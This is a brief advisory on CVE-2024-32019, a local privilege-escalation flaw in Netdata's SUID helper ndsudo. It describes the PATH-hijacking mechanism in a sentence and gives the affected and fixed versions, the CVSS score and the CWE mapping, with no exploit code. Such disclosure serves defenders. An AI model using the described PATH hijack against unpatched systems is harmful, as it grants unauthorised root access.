CVE-2024-32019 is a local privilege-escalation flaw in Netdata’s SUID helper ndsudo that lets a local user execute arbitrary programs as root via an untrusted search path (PATH hijacking).
The issue exists because ndsudo restricts command names but resolves them using the caller’s PATH, allowing a user to place a malicious binary earlier in PATH and have ndsudo run it with root privileges.
It affects Netdata Agent versions ≥ v1.45.0 and < v1.45.3, and ≥ v1.44.0-60 and < v1.45.0-169, and carries a CVSS v3.1 score of 8.8 (High).
Mitigation is to upgrade to v1.45.3 or v1.45.0-169; the weakness maps to CWE-426 (Untrusted Search Path).
